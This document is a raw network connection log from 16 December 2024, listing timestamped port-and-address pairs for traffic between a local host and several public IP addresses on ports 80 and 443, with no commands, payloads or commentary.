Dec 16, 2024 15:02:22.545042038 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.545058012 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.545089006 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.545092106 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.545178890 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.545178890 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.545903921 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.546004057 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:24.032361031 CET	443	49901	104.21.50.161	192.168.2.6
Dec 16, 2024 15:02:24.032453060 CET	443	49901	104.21.50.161	192.168.2.6
Dec 16, 2024 15:02:24.032509089 CET	49901	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:02:24.039827108 CET	49901	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:02:24.039860010 CET	443	49901	104.21.50.161	192.168.2.6
Dec 16, 2024 15:02:24.277015924 CET	49910	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:02:24.277111053 CET	443	49910	104.21.50.161	192.168.2.6
Dec 16, 2024 15:02:24.277189970 CET	49910	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:02:24.277622938 CET	49910	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:02:24.277659893 CET	443	49910	104.21.50.161	192.168.2.6
Dec 16, 2024 15:02:24.314784050 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:24.435863018 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:24.435962915 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:24.459100008 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:24.579833031 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:24.837701082 CET	49890	80	192.168.2.6	185.215.113.43
Dec 16, 2024 15:02:24.838246107 CET	49913	80	192.168.2.6	185.215.113.43
Dec 16, 2024 15:02:24.957722902 CET	80	49890	185.215.113.43	192.168.2.6
Dec 16, 2024 15:02:24.957791090 CET	49890	80	192.168.2.6	185.215.113.43
Dec 16, 2024 15:02:24.957930088 CET	80	49913	185.215.113.43	192.168.2.6
Dec 16, 2024 15:02:24.958008051 CET	49913	80	192.168.2.6	185.215.113.43
Dec 16, 2024 15:02:24.958220005 CET	49913	80	192.168.2.6	185.215.113.43
Dec 16, 2024 15:02:25.077999115 CET	80	49913	185.215.113.43	192.168.2.6
Dec 16, 2024 15:02:25.492822886 CET	443	49910	104.21.50.161	192.168.2.6
Dec 16, 2024 15:02:25.492902994 CET	49910	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:02:25.494610071 CET	49910	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:02:25.494637966 CET	443	49910	104.21.50.161	192.168.2.6
Dec 16, 2024 15:02:25.494903088 CET	443	49910	104.21.50.161	192.168.2.6
Dec 16, 2024 15:02:25.496329069 CET	49910	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:02:25.496496916 CET	49910	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:02:25.496531010 CET	443	49910	104.21.50.161	192.168.2.6
Dec 16, 2024 15:02:25.496725082 CET	49910	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:02:25.543338060 CET	443	49910	104.21.50.161	192.168.2.6
Dec 16, 2024 15:02:25.767770052 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:25.767838001 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:25.771213055 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:25.891031027 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:26.222309113 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:26.222371101 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:26.223501921 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:26.286022902 CET	443	49910	104.21.50.161	192.168.2.6
Dec 16, 2024 15:02:26.286114931 CET	443	49910	104.21.50.161	192.168.2.6
Dec 16, 2024 15:02:26.286180973 CET	49910	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:02:26.286278009 CET	49910	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:02:26.286298990 CET	443	49910	104.21.50.161	192.168.2.6
Dec 16, 2024 15:02:26.313349009 CET	80	49913	185.215.113.43	192.168.2.6
Dec 16, 2024 15:02:26.313488960 CET	49913	80	192.168.2.6	185.215.113.43
Dec 16, 2024 15:02:26.316312075 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:26.316689968 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:26.343209028 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:26.436543941 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:26.436777115 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:26.436948061 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:26.440586090 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:26.440680027 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:26.556781054 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:26.575638056 CET	49919	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:02:26.575686932 CET	443	49919	104.21.50.161	192.168.2.6
Dec 16, 2024 15:02:26.575762033 CET	49919	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:02:26.576209068 CET	49919	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:02:26.576231003 CET	443	49919	104.21.50.161	192.168.2.6
Dec 16, 2024 15:02:26.666171074 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:26.666256905 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:26.666309118 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:26.666356087 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:26.667748928 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:26.787533998 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:27.107352972 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:27.107405901 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:27.107419014 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:27.107428074 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:27.107460022 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:27.107528925 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:27.107541084 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:27.107553959 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:27.107578039 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:27.107599020 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:27.115945101 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:27.116028070 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:27.120326996 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:27.240326881 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:27.559850931 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:27.559941053 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:27.618262053 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:27.618335962 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:27.738333941 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:27.738351107 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:27.738434076 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:27.738442898 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:27.738542080 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:27.738563061 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:27.738576889 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:27.789633036 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:27.789649963 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:27.789661884 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:27.789683104 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:27.789694071 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:27.789706945 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:27.789709091 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:27.789755106 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:27.789755106 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:27.789834976 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:27.789849043 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:27.789863110 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:27.789882898 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:27.789895058 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:27.789968014 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:27.790163994 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:27.816364050 CET	443	49919	104.21.50.161	192.168.2.6
Dec 16, 2024 15:02:27.816441059 CET	49919	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:02:27.817811012 CET	49919	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:02:27.817821980 CET	443	49919	104.21.50.161	192.168.2.6
Dec 16, 2024 15:02:27.818069935 CET	443	49919	104.21.50.161	192.168.2.6
Dec 16, 2024 15:02:27.819399118 CET	49919	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:02:27.819540024 CET	49919	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:02:27.819575071 CET	443	49919	104.21.50.161	192.168.2.6
Dec 16, 2024 15:02:27.819642067 CET	49919	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:02:27.819652081 CET	443	49919	104.21.50.161	192.168.2.6
Dec 16, 2024 15:02:27.910844088 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:27.910918951 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:27.910938025 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:27.910989046 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:27.913861036 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:27.913907051 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:27.913937092 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:27.913955927 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:27.982742071 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:27.982866049 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:27.982872963 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:27.982914925 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:27.987056017 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:27.987072945 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:27.987186909 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:27.994338036 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:27.994404078 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:27.994501114 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:27.994566917 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.002281904 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.002334118 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.002338886 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.002378941 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.010684967 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.010735035 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.010771990 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.010848999 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.019383907 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.019437075 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.019442081 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.019484043 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.027544022 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.027585030 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.027595043 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.027617931 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.035923004 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.035990000 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.036003113 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.036043882 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.044523001 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.044543982 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.044584036 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.044601917 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.053045034 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.053112030 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.053157091 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.053199053 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.060108900 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.060164928 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.060174942 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.060220003 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.067342997 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.067399025 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.173604012 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.173619986 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.173660994 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.173705101 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.174783945 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.174921036 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.175065041 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.175121069 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.179284096 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.179406881 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.179431915 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.179449081 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.183881044 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.183940887 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.183943033 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.183980942 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.188277960 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.188448906 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.188549995 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.188601017 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.192748070 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.192804098 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.192821026 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.193093061 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.197432041 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.197448015 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.197505951 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.197505951 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.201849937 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.201941967 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.201988935 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.202042103 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.206264973 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.206312895 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.206399918 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.206443071 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.210736990 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.210792065 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.210839987 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.210875988 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.215293884 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.215354919 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.215363026 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.215404034 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.219779968 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.219834089 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.219882011 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.224214077 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.224265099 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.224401951 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.224509954 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.228735924 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.228796959 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.228806973 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.228897095 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.233261108 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.233323097 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.233366966 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.237706900 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.237761974 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.237853050 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.237905979 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.242125988 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.242182970 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.242259026 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.242360115 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.246867895 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.246881008 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.246922970 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.246942043 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.251137018 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.251318932 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.251355886 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.251396894 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.255639076 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.255722046 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.255724907 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.255764008 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.260224104 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.260273933 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.365627050 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.365711927 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.365727901 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.365772009 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.367616892 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.367630959 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.367667913 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.367690086 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.371078968 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.371136904 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.371222973 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.371269941 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.374780893 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.374856949 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.375037909 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.375086069 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.378264904 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.378546953 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.378606081 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.378627062 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.381719112 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.381797075 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.381812096 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.381875038 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.385119915 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.385169029 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.385298014 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.385350943 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.388510942 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.388562918 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.388657093 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.388701916 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.392245054 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.392297029 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.392296076 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.392334938 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.394956112 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.395049095 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.395066023 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.395085096 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.398222923 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.398283958 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.398322105 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.398377895 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.401741028 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.401756048 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.401796103 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.404942989 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.404956102 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.404989004 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.405009031 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.408154011 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.408166885 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.408193111 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.408215046 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.411619902 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.411679029 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.411690950 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.411716938 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.414750099 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.414772987 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.414808035 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.414824009 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.418024063 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.418080091 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.418184996 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.418236017 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.421288013 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.421339989 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.421410084 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.421468019 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.424642086 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.424712896 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.424777031 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.424818993 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.428280115 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.428293943 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.428340912 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.428356886 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.431209087 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.431263924 CET	80	49918	185.215.113.16	192.168.2.6
